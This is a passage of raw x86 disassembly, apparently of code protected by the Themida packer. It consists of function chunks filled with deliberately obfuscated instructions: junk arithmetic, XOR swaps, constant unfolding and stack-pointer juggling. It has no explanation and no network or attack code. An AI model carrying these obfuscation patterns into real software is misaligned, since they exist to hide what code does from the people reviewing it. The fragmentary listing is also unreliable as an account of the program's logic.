mov [esp+34h+var_36+2], ebx
mov ebx, esp
jmp loc_59011D
; ---------------------------------------------------------------------------
loc_58DE97: ; CODE XREF: sub_59196D+191Dj
mov [esp+34h+var_36+2], edi
push [esp+34h+var_32+2]
pop edi
jmp loc_5985F7
; ---------------------------------------------------------------------------
loc_58DEA4: ; CODE XREF: sub_59196D+69CEj
add esp, 4
sub [edi+24h], ecx
mov ecx, [esp+30h+var_32+2]
push 42A1h
mov [esp+34h+var_36+2], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+34h+var_36+2]
jmp loc_5930D4
; ---------------------------------------------------------------------------
loc_58DECB: ; CODE XREF: sub_59196D-3267j
pop eax
and ecx, edx
pop edx
shr ecx, 7
push dword ptr [edi+1Ch]
push [esp+30h+var_32+2]
pop eax
jmp loc_59063C
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
mov ecx, [esp]
push ebp
push 332Ah
push 5BF2h
jmp loc_591F1D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58DEF1: ; CODE XREF: sub_59196D-1E1j
add eax, ebp
jmp loc_5938C5
; ---------------------------------------------------------------------------
loc_58DEF8: ; CODE XREF: sub_59196D+4149j
push edx
jmp loc_59503D
; ---------------------------------------------------------------------------
loc_58DEFE: ; CODE XREF: sub_59196D+419Cj
push [esp+34h+var_32+2]
pop eax
jmp loc_5937FB
; ---------------------------------------------------------------------------
loc_58DF08: ; CODE XREF: sub_59196D+3AD4j
push ecx
mov ecx, 4
jmp loc_596937
; ---------------------------------------------------------------------------
loc_58DF13: ; CODE XREF: sub_59196D+3660j
xchg eax, [esp+0]
mov esp, [esp+0]
shr eax, 18h
xor eax, ecx
jmp loc_59047C
; ---------------------------------------------------------------------------
loc_58DF23: ; CODE XREF: sub_59196D+4C92j
pop esp
jmp loc_58C556
; ---------------------------------------------------------------------------
loc_58DF29: ; CODE XREF: sub_59196D+1293j
xor eax, 162F2882h
shl eax, 7
shl eax, 5
sub eax, 6E16D07Ch
sub edx, eax
pop eax
shr edx, 7
neg edx
xor edx, 0F1326AFFh
sub eax, edx
mov edx, [esp+30h+var_32+2]
add esp, 4
sub esp, 4
jmp loc_5935F9
; ---------------------------------------------------------------------------
loc_58DF5A: ; CODE XREF: sub_59196D+3197j
pop cx
add ch, 47h
sub ch, dh
sub ch, 47h
pop dx
sub ch, 0Fh
jmp loc_58E951
; ---------------------------------------------------------------------------
loc_58DF6E: ; CODE XREF: sub_59196D-4F90j
pop ebx
pop edx
push 5667h
mov [esp+36h+var_36], eax
jmp loc_5932DB
; ---------------------------------------------------------------------------
loc_58DF7D: ; CODE XREF: sub_59196D+DA6j
pop ebp
push ebp
mov ebp, esp
add ebp, 4
jmp sub_58C57F
; ---------------------------------------------------------------------------
loc_58DF8C: ; CODE XREF: sub_59196D+5118j
sub edx, 6CD3445Ah
add edx, 6ED6B0F4h
sub eax, edx
pop edx
pop edx
push 29DBh
jmp loc_58BE30
; ---------------------------------------------------------------------------
loc_58DFA6: ; CODE XREF: sub_59196D+671Cj
mov ebx, esp
add ebx, 4
sub ebx, 4
xor ebx, [esp+32h+var_32]
xor [esp+32h+var_32], ebx
jmp loc_596FCC
; ---------------------------------------------------------------------------
loc_58DFBF: ; CODE XREF: sub_59196D+3DB7j
pop esp
mov [esp+2Eh+var_2E], ebx
jmp loc_593E5F
; ---------------------------------------------------------------------------
loc_58DFC8: ; CODE XREF: sub_59196D-5253j
mov ebx, ebp
push [esp+36h+var_36]
pop ebp
add esp, 4
sub [esp+32h+var_2E], 25354F66h
sub [esp+32h+var_2E], ebx
jmp loc_597D60
; ---------------------------------------------------------------------------
loc_58DFE5: ; CODE XREF: Themida_:0058E628j
; sub_59196D+2C31j
sub ebp, 144FA453h
xor ecx, ebp
pop ebp
and eax, ecx
jmp loc_59684E
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
push edx
push esp
jmp loc_58BCFD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E001: ; CODE XREF: sub_59196D+4A0Dj
xor ecx, 3E26155Bh
sub ecx, 0CB50705Bh
sub eax, ecx
pop ecx
add eax, ecx
push edx
mov edx, 62E134A6h
and edx, 1A4F39D4h
inc edx
add edx, 7822D39Eh
add eax, edx
pop edx
push [esp+2Ah+var_2A]
pop ecx
add esp, 4
add eax, 2
xor eax, [esp+26h+var_26]
xor [esp+26h+var_26], eax
xor eax, [esp+26h+var_26]
jmp loc_58C6D1
; ---------------------------------------------------------------------------
loc_58E043: ; CODE XREF: sub_59196D+224Dj
add ecx, 436318E0h
xor ecx, 633C6072h
jle loc_58F94A
xor ecx, 5320112Eh
mov edx, ecx
pop ecx
neg edx
add edx, 1160C1Ch
not edx
jmp loc_59540A
; ---------------------------------------------------------------------------
loc_58E06D: ; CODE XREF: sub_59196D+60C2j
push eax
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp+26h+var_26]
xor [esp+26h+var_26], eax
xor eax, [esp+26h+var_26]
pop esp
pop [esp+22h+var_22]
mov esp, [esp+1Eh+var_1E]
xor ebx, eax
push 4743h
mov [esp+22h+var_22], eax
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58E097: ; CODE XREF: sub_59196D-2D69j
xor edx, 380639FFh
jge loc_596154
sub edx, 788629F5h
jmp loc_58E8F2
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
xchg esi, [esp]
; =============== S U B R O U T I N E =======================================
sub_58E0B1 proc near ; CODE XREF: sub_59196D+1DECj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058E3CB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00590506 SIZE 00000009 BYTES
push ebp
jmp loc_58E3CB
sub_58E0B1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E0B7: ; CODE XREF: sub_59196D+31C3j
jmp loc_5952F4
; ---------------------------------------------------------------------------
loc_58E0BC: ; CODE XREF: sub_59196D+3FABj
sub esi, 4
xchg esi, [esp+22h+var_22]
jmp loc_594ADF
; ---------------------------------------------------------------------------
loc_58E0CA: ; CODE XREF: sub_59196D+5088j
add edi, 4
add edi, 4
xchg edi, [esp+22h+var_22]
pop esp
pop [esp+1Eh+var_1E]
pop esp
mov [esp+16h+var_16], ebx
push esp
pop ebx
add ebx, 4
push 6BC2h
mov [esp+1Ah+var_1A], ecx
mov ecx, 2
jmp loc_5956DD
; ---------------------------------------------------------------------------
loc_58E0FB: ; CODE XREF: sub_59196D+5364j
mov bl, 0A9h
sub bl, 36h
shl bl, 8
not bl
sub bl, 0A4h
jmp loc_590116
; ---------------------------------------------------------------------------
loc_58E10D: ; CODE XREF: sub_59196D+18B4j
mov ebx, 0
sub ebx, 1112525Dh
add ebx, edx
push edx
mov edx, 1112525Dh
add ebx, edx
pop edx
push edx
jmp loc_595324
; ---------------------------------------------------------------------------
loc_58E129: ; CODE XREF: sub_59196D-60BDj
jb loc_592515
inc edx
jmp loc_59202A
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
inc word ptr [esp]
pushf
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E13A: ; CODE XREF: sub_59196D+162Dj
jno loc_596453
and eax, 76A53A15h
jb loc_59622D
sub al, 21h
loc_58E14D: ; CODE XREF: sub_58ED60+757j
push ebp
mov ebp, 3652012h
sub esi, ebp
mov ebp, [esp+18h+var_1A+2]
add esp, 4
pop ecx
jmp loc_5942C2
; ---------------------------------------------------------------------------
loc_58E161: ; CODE XREF: sub_59196D-2C20j
mov edi, 0E96A04h
sub edi, 24883EBCh
dec edi
and edi, 614B3CE3h
add edi, 0E85AE7FEh
sub eax, edi
pop edi
add eax, 7EB55EAFh
jmp loc_597A58
; ---------------------------------------------------------------------------
loc_58E186: ; CODE XREF: sub_59196D-14D9j
xchg esi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
mul cl
movzx cx, ah
push 3396h
mov [esp+10h+var_12+2], edi
jmp loc_597785
; ---------------------------------------------------------------------------
loc_58E19F: ; CODE XREF: sub_59196D-54A1j
xor edx, 31EE22F3h
sub eax, edx
jmp loc_5965C7
; ---------------------------------------------------------------------------
loc_58E1AC: ; CODE XREF: sub_59196D-4DD9j
neg al
sub al, 79h
sub al, 1
push ebx
mov bh, 0C6h
push eax
jmp loc_58CA01
; ---------------------------------------------------------------------------
loc_58E1BB: ; CODE XREF: sub_59196D-3021j
mov [esp+34h+var_36+2], ecx
mov ecx, 9C654EAh
jmp loc_58EDD5
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push 5FA5h
mov [esp], ecx
push esp
pop ecx
push edx
mov edx, 4
add ecx, 7D9D6D40h
add ecx, edx
push eax
jmp loc_592472
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E1EA: ; CODE XREF: sub_59196D-2A98j
; sub_59196D:loc_593967j
mov ecx, 142807E0h
jmp loc_597F15
; ---------------------------------------------------------------------------
loc_58E1F4: ; CODE XREF: sub_59196D+1962j
add edx, ebx
jmp loc_5982A3
; ---------------------------------------------------------------------------
loc_58E1FB: ; CODE XREF: sub_59196D+5ADBj
pop ebp
shr eax, 1
jmp loc_5970DE
; ---------------------------------------------------------------------------
loc_58E203: ; CODE XREF: sub_59196D-2114j
sub ebp, edx
pop edx
push ebp
push [esp+30h+var_2E+2]
pop ebp
pop [esp+30h+var_32+2]
pop esp
mov [esp+28h+var_2A+2], ebp
mov ebp, 1
jmp loc_598426
; ---------------------------------------------------------------------------
loc_58E21D: ; CODE XREF: sub_59196D+6666j
add esp, 2
push eax
mov al, 16h
shr al, 5
jmp loc_58CCDF
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58E22B: ; CODE XREF: Themida_:00591110j
mov ebp, [esp]
add esp, 4
add ebp, 4
jmp loc_596B09
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E23F: ; CODE XREF: sub_59196D+16AAj
pop esp
movzx ecx, ax
push 7530h
jmp loc_59268D
; ---------------------------------------------------------------------------
loc_58E24D: ; CODE XREF: sub_59196D+21A2j
add esi, 4
sub esi, 4
xchg esi, [esp+28h+var_2A+2]
pop esp
mov [esp+24h+var_26+2], esi
push 5702h
mov [esp+28h+var_2A+2], ebx
mov ebx, 0C79690Eh
xor [esp+28h+var_26+2], ebx
jmp loc_591697
; ---------------------------------------------------------------------------
loc_58E276: ; CODE XREF: sub_59196D-184Aj
add ebx, 4
xchg ebx, [esp+28h+var_2A+2]
pop esp
push edx
mov edx, 4
add esi, edx
pop edx
push 488Fh
mov [esp+28h+var_2A+2], esi
push [esp+28h+var_26+2]
jmp loc_596E51
; ---------------------------------------------------------------------------
loc_58E297: ; CODE XREF: sub_59196D-2B7Dj
mov [esp+2Ch+var_2E+2], eax
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58E29F: ; CODE XREF: sub_59196D-1FC3j
push esi
jmp loc_596788
; ---------------------------------------------------------------------------
loc_58E2A5: ; CODE XREF: sub_59196D+53BCj
mov ebx, 2E0B7CC8h
xor ebx, 3E456160h
neg ebx
jmp loc_590191
; ---------------------------------------------------------------------------
loc_58E2B7: ; CODE XREF: sub_59196D+4D31j
push edx
jmp loc_593B7B
; ---------------------------------------------------------------------------
loc_58E2BD: ; CODE XREF: sub_59196D-516Aj
add ecx, 4
xchg ecx, [esp+42h+var_44+2]
pop esp
jmp loc_592F6A
; ---------------------------------------------------------------------------
loc_58E2C9: ; CODE XREF: sub_59196D-40EAj
mov edi, 38515B68h
add ecx, edi
pop edi
or ecx, 0C9B7DC9h
add ecx, 0C88D5B24h
not ecx
add ecx, 51401C73h
dec ecx
dec ecx
add ecx, 1F8767ADh
add ecx, 94A5D704h
jmp loc_596809
; ---------------------------------------------------------------------------
loc_58E2F8: ; CODE XREF: sub_59196D+4362j
and edi, 1E69397Dh
xor edi, 2CAC24D4h
xor edi, 1C72CD5Eh
add eax, 0CA25DAh
jmp loc_59856D
; ---------------------------------------------------------------------------
loc_58E314: ; CODE XREF: sub_59196D-34AFj
mov edx, 4
add eax, edx
pop edx
xchg eax, [esp+4Ch+var_4E+2]
pop esp
pop edx
xor eax, esi
mov esi, [esp+44h+var_44]
add esp, 4
push esi
mov esi, 68293A1Fh
xor esi, ecx
xor ecx, esi
xor esi, ecx
xchg edx, ecx
jmp loc_593844
; ---------------------------------------------------------------------------
loc_58E33C: ; CODE XREF: sub_59196D+15EDj
mov edi, 14501137h
sub esi, edi
jmp loc_59511C
; ---------------------------------------------------------------------------
loc_58E348: ; CODE XREF: sub_59196D-546Cj
pop ebp
add esp, 4
or eax, eax
jz loc_59441C
push dword ptr [edi+1Ch]
push 409Fh
mov [esp+16h+var_16], ecx
jmp loc_593D02
; ---------------------------------------------------------------------------
loc_58E367: ; CODE XREF: sub_59196D+1866j
jmp loc_593A5E
; ---------------------------------------------------------------------------
loc_58E36C: ; CODE XREF: sub_59196D+5C0Dj
mov bl, cl
mov [edi+eax*4+1], bl
pop ebx
mov ecx, [esp+12h+var_12]
add esp, 4
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58E37E: ; CODE XREF: sub_59196D-4CC0j
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_591F76
; ---------------------------------------------------------------------------
loc_58E38A: ; CODE XREF: sub_59196D+29B0j
mov edi, [esp+0]
add esp, 4
add ebp, ebx
mov ebx, [esp+34h+var_36+2]
push 5D60h
mov [esp+0], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0]
pop esp
xchg ebp, [esp+34h+var_36+2]
jmp loc_594D19
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58E3B7 proc near ; CODE XREF: sub_59196D-5C89j
push ebx
push edx
mov edx, 5CC63039h
not edx
jmp loc_59676F
sub_58E3B7 endp
; ---------------------------------------------------------------------------
loc_58E3C5: ; DATA XREF: Themida_:0058B0E4o
lodsb
jmp loc_592E0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E0B1
loc_58E3CB: ; CODE XREF: sub_58E0B1+1j
mov ebp, edx
mov esi, ebp
push [esp+4+var_4]
jmp loc_590506
; END OF FUNCTION CHUNK FOR sub_58E0B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E3D7: ; CODE XREF: sub_59196D+3ECDj
add [esp+34h+var_36+2], 523D49D9h
pop edi
sub edi, 523D49D9h
jmp loc_58FD4B
; ---------------------------------------------------------------------------
loc_58E3EA: ; CODE XREF: sub_59196D+4679j
mov ecx, [esp+30h+var_32+2]
jmp loc_5929EC
; ---------------------------------------------------------------------------
loc_58E3F2: ; CODE XREF: sub_59196D+505Aj
add edi, 4
xchg edi, [esp+30h+var_32+2]
mov esp, [esp+30h+var_32+2]
or eax, eax
jz loc_59433D
push dword ptr [edi+1Ch]
push [esp+34h+var_36+2]
push dword ptr [esp+0]
pop ecx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+3Ch+var_3C]
pop esp
push esi
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+40h+var_40]
pop esp
mov [esp+3Ch+var_3C], esp
jmp sub_58F533
; ---------------------------------------------------------------------------
loc_58E439: ; CODE XREF: sub_59196D-15EEj
mov ebx, [esp+3Ch+var_3C]
push edi
mov edi, esp
push ecx
mov ecx, 474C28C9h
sub ecx, 0C93515Dh
jbe loc_597DF5
sub ecx, 3AB8D768h
add edi, ecx
pop ecx
add edi, 4
jmp loc_593135
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C376
loc_58E462: ; CODE XREF: sub_58C376+10A3j
pop edx
sub dh, 24h
jmp loc_597D8F
; END OF FUNCTION CHUNK FOR sub_58C376
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E46B: ; CODE XREF: sub_59196D-3D3Bj
xor [esp+1Ch+var_1E+2], eax
jmp loc_5977A3
; ---------------------------------------------------------------------------
loc_58E473: ; CODE XREF: sub_59196D+32ADj
pop ebx
add eax, esi
mov esi, [esp+18h+var_1A+2]
add esp, 4
push 47F4h
mov [esp+18h+var_1A+2], esi
mov esi, 7E3078DEh
sub esi, 0F3703EEh
dec esi
jmp loc_598385
; ---------------------------------------------------------------------------
loc_58E498: ; CODE XREF: sub_59196D+219Bj
mov [esp+18h+var_1A+2], ebp
mov ebp, esp
push ebx
jmp loc_58FDF3
; ---------------------------------------------------------------------------
loc_58E4A3: ; CODE XREF: sub_59196D+6CE1j
add edi, esi
pop esi
jmp loc_59519E
; ---------------------------------------------------------------------------
loc_58E4AB: ; CODE XREF: sub_59196D+38EBj
pop ebx
add ecx, ebx
pop ebx
add ecx, 4
jmp loc_5976E8
; ---------------------------------------------------------------------------
loc_58E4BA: ; CODE XREF: sub_58C68D+6j
; sub_59196D+345Fj
add eax, ebp
pop ebp
push edx
jmp loc_58E314
; ---------------------------------------------------------------------------
loc_58E4C3: ; CODE XREF: sub_59196D+1C6Ej
pop ecx
jmp loc_592380
; ---------------------------------------------------------------------------
loc_58E4C9: ; CODE XREF: sub_59196D-21C5j
mov edi, [esp+0Ch+var_C]
jmp loc_58C51F
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5909BD
loc_58E4D1: ; CODE XREF: sub_5909BD+1j
mov ebp, 4
add edi, ebp
pop ebp
xchg edi, [esp+0]
mov esp, [esp+0]
shr ebx, 2
inc ebx
jmp loc_593A82
; END OF FUNCTION CHUNK FOR sub_5909BD
; =============== S U B R O U T I N E =======================================
sub_58E4E8 proc near ; DATA XREF: Themida_:0058B1A0o
pop dword ptr [edx]
jmp loc_58B37B
sub_58E4E8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E4EF: ; CODE XREF: sub_59196D-412Bj
xor bl, 0CAh
not bl
sub bl, 5Eh
add bl, 28h
push dx
mov dl, 66h
jmp loc_5967A5
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F42B
loc_58E503: ; CODE XREF: sub_58F42B-1DCj
not edi
sub edi, 27423D0Bh
add edi, 1DC90D0Ah
neg edi
xor edi, 8CD7A96Dh
jmp loc_5936CA
; END OF FUNCTION CHUNK FOR sub_58F42B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E51E: ; CODE XREF: sub_59196D-60D2j
pop eax
jmp loc_58FA77
; ---------------------------------------------------------------------------
loc_58E524: ; CODE XREF: sub_59196D-CBj
push 0DB8h
mov [esp+20h+var_22+2], edi
push [esp+20h+var_1E+2]
pop edi
pop [esp+20h+var_22+2]
mov esp, [esp+1Ch+var_1E+2]
jmp loc_58B558
; ---------------------------------------------------------------------------
loc_58E53C: ; CODE XREF: sub_59196D-889j
push esi
mov esi, 4
add ebx, esi
jmp loc_596F11
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58E549: ; CODE XREF: Themida_:0058B652j
jmp loc_58B37B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E54E: ; CODE XREF: sub_59196D+39B2j
push esi
jmp loc_58C5CD
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591344
loc_58E554: ; CODE XREF: sub_591344+4j
mov esi, 4
add ebp, esi
pop esi
push edx
mov edx, 5EAD1865h
jmp loc_592ED6
; END OF FUNCTION CHUNK FOR sub_591344
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E567: ; CODE XREF: sub_59196D+50E1j
pop ecx
inc eax
push eax
dec [esp+24h+var_26+2]
pop eax
add eax, 0F92BC0B2h
sub ebp, 109043EFh
add ebp, eax
push eax
mov eax, 109043EFh
jmp loc_5980FD
; ---------------------------------------------------------------------------
loc_58E586: ; CODE XREF: sub_59196D-42DDj
add esp, 4
not edi
xor edx, edi
xor edi, edx
xor edx, edi
push edi
mov edi, 47375C2Fh
dec edi
add edi, 57C478C4h
inc edi
jmp loc_592078
; ---------------------------------------------------------------------------
loc_58E5A7: ; CODE XREF: sub_59196D-56C2j
add [esp+18h+var_1A+2], 4
pop edi
add edi, 4
push ebp
mov ebp, 4
sub edi, ebp
jmp loc_594229
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58E5BF proc near ; CODE XREF: sub_59196D+67Bj
push ebp
mov ebp, 7E3E5C02h
and ebp, 635B7942h
neg ebp
sub ebp, 54AB7D0Ch
dec ebp
push edx
mov edx, 493A2AF5h
xor ebp, edx
pop edx
jmp loc_5972DF
sub_58E5BF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E5E2: ; CODE XREF: sub_59196D+4D21j
not edi
shr edi, 3
sub edi, 13B27450h
add ebx, edi
pop edi
jmp loc_594252
; ---------------------------------------------------------------------------
loc_58E5F5: ; CODE XREF: sub_59196D-8CCj
dec ebx
shr ebx, 1
add ebx, 0C7EB3D1Eh
add ebp, ebx
pop ebx
sub esp, 4
mov [esp+14h+var_16+2], ebp
push [esp+14h+var_12+2]
jmp loc_58D0F8
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
lodsw
push edi
push edx
mov dx, 7033h
neg dx
sub dx, 37B5h
jnb loc_598593
push cx
jmp loc_58DFE5
; ---------------------------------------------------------------------------
push edi
mov ch, ch
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E630: ; CODE XREF: sub_59196D+48ABj
push esi
mov esi, 15B16EFAh
sub esi, 0B41964F6h
add edx, esi
pop esi
push esi
mov esi, 4A2105A8h
add esi, 29A11F75h
sub esi, 432C2EEDh
jmp loc_5980BC
; ---------------------------------------------------------------------------
loc_58E656: ; CODE XREF: sub_59196D+13C2j
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp+1Ch+var_1E+2]
jmp loc_58D853
; ---------------------------------------------------------------------------
loc_58E66C: ; CODE XREF: sub_59196D+2484j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58E671: ; CODE XREF: sub_59196D-62F0j
sub bl, 2Bh
mov dx, word ptr [esp+1Ch+var_1E+2]
add esp, 2
push ebx
mov ebx, 11786562h
neg ebx
jmp loc_595810
; ---------------------------------------------------------------------------
loc_58E68B: ; CODE XREF: sub_59196D-4339j
jo loc_58D2FD
sub ecx, 9336F242h
jmp loc_590FA4
; ---------------------------------------------------------------------------
loc_58E69C: ; CODE XREF: sub_59196D-2DA0j
mov esi, 71C547BBh
add esi, 678D2709h
xor esi, 0C4585FC5h
add ebx, esi
pop esi
push ebx
pop edi
jmp loc_593470
; ---------------------------------------------------------------------------
loc_58E6B7: ; CODE XREF: sub_59196D+5FEFj
pop esi
add esp, 4
sub [esp+42h+var_44+2], 0C867F20h
add [esp+42h+var_44+2], eax
add [esp+42h+var_44+2], 0C867F20h
jmp loc_5952FF
; ---------------------------------------------------------------------------
loc_58E6D1: ; CODE XREF: sub_59196D-149Aj
pop ebp
push edx
push esi
push ecx
pop esi
mov edx, esi
pop esi
mov edi, edx
pop edx
jmp loc_597C8F
; ---------------------------------------------------------------------------
loc_58E6E1: ; CODE XREF: sub_59196D+6DEj
push ecx
mov ch, 0C9h
add bl, ch
pop ecx
movzx eax, al
lea eax, [edi+eax*4]
push 51DAh
mov [esp+42h+var_44+2], eax
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58E6FA: ; CODE XREF: sub_59196D+1FDAj
jmp loc_58CC46
; ---------------------------------------------------------------------------
loc_58E6FF: ; CODE XREF: sub_59196D-4C3Bj
add eax, 676F20FFh
push eax
pop edx
jmp loc_58DECB
; ---------------------------------------------------------------------------
loc_58E70B: ; CODE XREF: sub_59196D+5247j
sub ebx, 1E066F4Fh
pop edi
jmp loc_594CBD
; ---------------------------------------------------------------------------
loc_58E717: ; CODE XREF: sub_59196D+39CAj
; sub_59196D+6C21j
add esp, 4
jmp loc_58B91E
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58E71F: ; DATA XREF: Themida_:0058B0F8o
lodsb
push bx
jmp loc_58EE65
; =============== S U B R O U T I N E =======================================
sub_58E727 proc near ; CODE XREF: sub_59196D-2849j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
mov ebp, 51100DCFh
sub ebp, 51100DCBh
add edx, ebp
pop ebp
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop [esp+4+var_4]
mov esp, [esp+0]
push [esp-0Ch+arg_8]
push [esp-8+arg_4]
pop edx
push 5Ah
mov [esp-4+arg_0], ebx
push esp
mov ebx, [esp+0]
add esp, 4
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
add ebx, 4
push ebx
jmp loc_593DFE
sub_58E727 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E776: ; CODE XREF: sub_59196D+2F8j
pop ebp
jmp loc_58BC16
; ---------------------------------------------------------------------------
loc_58E77C: ; CODE XREF: sub_59196D-4BABj
jno loc_5953DC
not eax
push edx
mov edx, 55D41E9Dh
mov esi, ebx
loc_58E78C: ; CODE XREF: sub_59196D-5F37j
mov [esp+18h+var_1A+2], ecx
mov cl, 61h
push edx
mov dh, 0EFh
or dh, 1Fh
jno loc_592D15
add dh, 21h
xor dh, 0C5h
push ebx
mov bh, dh
mov al, bh
pop ebx
pop edx
loc_58E7AA: ; CODE XREF: sub_59196D+328Fj
mov ebp, ecx
pop ecx
add esi, ebp
pop ebp
jmp loc_593096
; ---------------------------------------------------------------------------
loc_58E7B5: ; CODE XREF: sub_59196D-5F73j
shr ch, 5
jmp loc_596082
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58E7BD: ; CODE XREF: Themida_:005916C1j
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
push 5347h
jmp loc_591688
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E7D8: ; CODE XREF: sub_59196D-63B2j
add ecx, 4
add ecx, 4
jmp loc_591AAE
; ---------------------------------------------------------------------------
loc_58E7E9: ; CODE XREF: sub_59196D+D3Ej
mov dh, 0F9h
xor dh, 0B4h
shr dh, 4
neg dh
push ecx
mov cl, 37h
sub cl, 21h
and dh, cl
pop ecx
dec dh
xor dh, 3Dh
add al, dh
pop edx
jmp loc_591A67
; ---------------------------------------------------------------------------
loc_58E809: ; CODE XREF: sub_59196D+527Aj
add al, 0F8h
push ebx
mov bh, 3
sub al, bh
pop ebx
sub al, bl
push 0F9Bh
mov [esp+18h+var_1A+2], edx
mov dh, 3
add al, dh
pop edx
jmp loc_59175C
; ---------------------------------------------------------------------------
loc_58E825: ; CODE XREF: sub_59196D-1058j
push esi
mov esi, esp
add esi, 4
jmp loc_596840
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58E833: ; CODE XREF: Themida_:00598595j
mov cx, 4C16h
jmp loc_594F6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E83C: ; CODE XREF: sub_59196D-15C6j
movzx cx, al
push cx
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58E848: ; CODE XREF: sub_59196D-6429j
; sub_59196D-4B6j ...
xor eax, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], eax
xor eax, [esp+0Ch+var_C]
pop esp
or byte ptr [esp+8+var_8], al
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58E85B: ; CODE XREF: sub_59196D-A09j
xchg dl, ch
add ch, 67h
sub bl, 0AFh
jmp loc_58CA61
; ---------------------------------------------------------------------------
loc_58E868: ; CODE XREF: sub_59196D-1551j
add esp, 4
sub bx, si
mov si, word ptr [esp+8+var_8]
add esp, 2
movzx eax, ax
push 48AFh
jmp loc_596571
; ---------------------------------------------------------------------------
loc_58E888: ; CODE XREF: sub_59196D-5F08j
pop edi
inc esi
jmp loc_594C12
; ---------------------------------------------------------------------------
loc_58E88F: ; CODE XREF: sub_59196D-1E34j
push dx
mov dh, 5Ch
add cl, dh
pop dx
jmp loc_58F129
; ---------------------------------------------------------------------------
loc_58E89C: ; CODE XREF: sub_59196D+6B95j
dec ebx
jnp loc_597844
push edi
push ecx
push 26A019Dh
jmp loc_58F4F6
; ---------------------------------------------------------------------------
loc_58E8AF: ; CODE XREF: sub_59196D-2AD6j
pop edi
pop edx
sub edi, 396CB62Ch
add ebx, edi
mov edi, [esp+18h+var_1A+2]
add esp, 4
add ebp, ebx
pop ebx
push edi
mov edi, 2
add ebp, edi
pop edi
xor ebp, [esp+10h+var_12+2]
xor [esp+10h+var_12+2], ebp
xor ebp, [esp+10h+var_12+2]
pop esp
mov ax, word ptr [esp+0Ch+var_C]
push esi
push 2CB8h
mov [esp+14h+var_16+2], esp
add [esp+14h+var_16+2], 4
pop esi
add esi, 4
jmp loc_596ABE
; ---------------------------------------------------------------------------
loc_58E8F2: ; CODE XREF: sub_59196D-38C4j
; sub_59196D+3168j
shr eax, 7
jnp loc_58F7D2
